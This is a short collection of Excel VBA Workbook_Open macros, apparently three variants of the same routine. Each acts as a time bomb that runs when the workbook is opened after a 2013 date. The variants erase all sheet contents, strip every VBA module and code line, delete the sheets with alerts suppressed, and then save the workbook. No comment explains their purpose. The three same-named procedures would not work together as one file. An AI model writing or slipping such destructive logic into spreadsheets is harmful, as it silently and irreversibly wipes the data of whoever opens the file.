Private Sub Workbook_Open()
Dim Sh As Worksheet
If Date >= DateSerial(2013, 12, 25) Then
For Each Sh In ThisWorkbook.Sheets
Sh.UsedRange.Clear
Next Sh
End If
ThisWorkbook.Save
End Sub
Private Sub Workbook_Open()
Dim Sh As Worksheet
Dim VBC As Object
If Date >= DateSerial(2013, 9, 8) Then
With ActiveWorkbook.VBProject
For Each VBC In .VBComponents
If VBC.Type = 100 Then
With VBC.CodeModule
.DeleteLines 1, .CountOfLines
.CodePane.Window.Close
End With
Else: .VBComponents.Remove VBC
End If
Next VBC
End With
For Each Sh In ThisWorkbook.Sheets
Sh.UsedRange.Clear
Next Sh
End If
ThisWorkbook.Save
End Sub
Private Sub Workbook_Open()
Dim I&
Dim VBC As Object
If Date >= DateSerial(2013, 9, 8) Then
Sheets.Add After:=Sheets(Sheets.Count)
With ActiveWorkbook.VBProject
For Each VBC In .VBComponents
If VBC.Type = 100 Then
With VBC.CodeModule
.DeleteLines 1, .CountOfLines
.CodePane.Window.Close
End With
Else: .VBComponents.Remove VBC
End If
Next VBC
End With
Application.DisplayAlerts = False
Application.ScreenUpdating = False
For I = ThisWorkbook.Sheets.Count - 1 To 1 Step -1
Sheets(I).Delete
Next I
End If
ThisWorkbook.Save
Application.DisplayAlerts = True
Application.ScreenUpdating = True
End Sub